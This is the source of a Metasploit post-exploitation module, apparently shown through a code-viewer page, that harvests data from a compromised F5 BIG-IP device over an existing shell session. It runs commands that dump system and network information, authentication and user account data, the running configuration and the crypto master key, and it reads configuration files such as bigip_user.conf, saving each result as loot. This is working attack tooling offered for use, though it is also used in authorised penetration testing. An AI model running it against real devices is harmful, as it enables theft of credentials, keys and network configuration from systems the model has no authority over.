Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/networking/gather/enum_f5.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::F578def initialize(info = {})9super(10update_info(11info,12'Name' => 'F5 Gather Device General Information',13'Description' => %q{14This module collects a F5's device information and configuration.15},16'License' => MSF_LICENSE,17'Author' => [ 'h00die'],18'SessionTypes' => [ 'shell' ],19'Notes' => {20'Stability' => [CRASH_SAFE],21'SideEffects' => [IOC_IN_LOGS],22'Reliability' => []23}24)25)26end2728def run29# Get device prompt30prompt = session.shell_command('?')31started_tmos = false32unless prompt.include? 'Commands:'33started_tmos = true34print_status('Moving to TMOS prompt')35session.shell_command('tmsh')36end37prompt = session.shell_command('')3839# Get version info40system_out = session.shell_command('show /sys version')41# https://support.f5.com/csp/article/K875942ver_loc = store_loot('f5.version',43'text/plain',44session,45system_out.strip,46'config.txt',47'F5 Version')48vprint_good("Config information stored in to loot #{ver_loc}")49if /^Main Package(?<content>.+)\n\n/m =~ system_out # just capture the content to parse50ver = []51if /^\s+Product\s+(?<product>[\w-]+)$/ =~ content52ver << product53end54if /^\s+Version\s+(?<version>[\d.]+)$/ =~ content55ver << version56end57if /^\s+Build\s+(?<build>[\d.]+)$/ =~ content58ver << build59end60print_good("Version: #{ver.join(' ')}") unless ver.empty?61else62print_bad('Unable to obtain system version information')63end64# run additional information gathering6566enum_tmos_configs(prompt)67if started_tmos68session.shell_command('quit') # exit tmos69else70session.shell_command('bash') # go to bash from tmos71end72enum_configs(prompt)73end7475def enum_tmos_configs(prompt)76host = session.session_host77port = session.session_port78exec_commands = [79{80'cmd' => 'show sys',81'fn' => 'show_sys',82'desc' => 'Get Device System Information on F5 Device'83},84{85'cmd' => 'show auth',86'fn' => 'show_auth',87'desc' => 'Get User Account and Authentication Information on F5 Device'88},89{90'cmd' => 'show cm',91'fn' => 'show_cm',92'desc' => 'Get Configuration Management Information on F5 Device'93},94{95'cmd' => 'show net',96'fn' => 'show_net',97'desc' => 'Get Network Information on F5 Device'98},99{100'cmd' => 'show running-config',101'fn' => 'show_running_config',102'desc' => 'Get Running Config on F5 Device'103},104{105'cmd' => 'show sys crypto master-key',106'fn' => 'show_crypto_key',107'desc' => 'Get Crypto Master Key on F5 Device'108},109]110exec_commands.each do |ec|111command = ec['cmd']112cmd_out = session.shell_command(command).gsub(/#{command}|#{prompt}/, '')113if cmd_out.include?('Display all')114cmd_out += session.shell_command('y')115end116if cmd_out.include?('---(less')117cmd_out += session.shell_command(" \n" * 20) # 20 pages should be enough118end119120# loop to ensure we get all content within the 5 sec window121# rubocop:disable Lint/AssignmentInCondition122loop do123break unless out_tmp = session.shell_read124125cmd_out << out_tmp126end127# rubocop:enable Lint/AssignmentInCondition128129print_status("Gathering info from #{command}")130cmd_loc = store_loot("F5.#{ec['fn']}",131'text/plain',132session,133cmd_out.strip,134"#{ec['fn']}.txt",135ec['desc'])136vprint_good("Saving to #{cmd_loc}")137f5_config_eater(host, port, cmd_out.strip, false)138end139end140141def enum_configs(prompt)142host = session.session_host143port = session.session_port144# https://support.f5.com/csp/article/K26582310145exec_commands = [146{147# High-level traffic management and system configuration, such as virtual servers,148# profiles, access policies, iRules, and authentication settings149'cmd' => 'cat /config/bigip.conf',150'fn' => 'bigip.conf',151'desc' => 'Get Config on F5 Device'152},153{154# Base-level network and system configuration, such as VLANs, self IPs,155# device service clustering (DSC), and provisioning156'cmd' => 'cat /config/bigip_base.conf',157'fn' => 'bigip_base.conf',158'desc' => 'Get Base Config on F5 Device'159},160{161# BIG-IP GTM/DNS-specific configuration such as Wide IPs, pools, data centers,162# and servers163'cmd' => 'cat /config/bigip_gtm.conf',164'fn' => 'bigip_gtm.conf',165'desc' => 'Get GTM Config on F5 Device'166},167{168# Custom iApps templates169'cmd' => 'cat /config/bigip_script.conf',170'fn' => 'bigip_script.conf',171'desc' => 'Get iApps templates on F5 Device'172},173{174# User account configuration175'cmd' => 'cat /config/bigip_user.conf',176'fn' => 'bigip_user.conf',177'desc' => 'Get User Config on F5 Device'178},179{180# Custom BIG-IP system alerts181'cmd' => 'cat /config/user_alert.conf',182'fn' => 'user_alert.conf',183'desc' => 'Get System Alerts on F5 Device'184},185]186exec_commands.each do |ec|187command = ec['cmd']188cmd_out = session.shell_command(command).gsub(/#{command}|#{prompt}/, '')189print_status("Gathering info from #{command}")190if cmd_out.include?('No such file or directory') || cmd_out.strip == ''191print_error('File not found or empty')192next193end194cmd_loc = store_loot("F5.#{ec['fn']}",195'text/plain',196session,197cmd_out.strip,198"#{ec['fn']}.txt",199ec['desc'])200vprint_good("Saving to #{cmd_loc}")201f5_config_eater(host, port, cmd_out.strip, false)202end203end204end205206207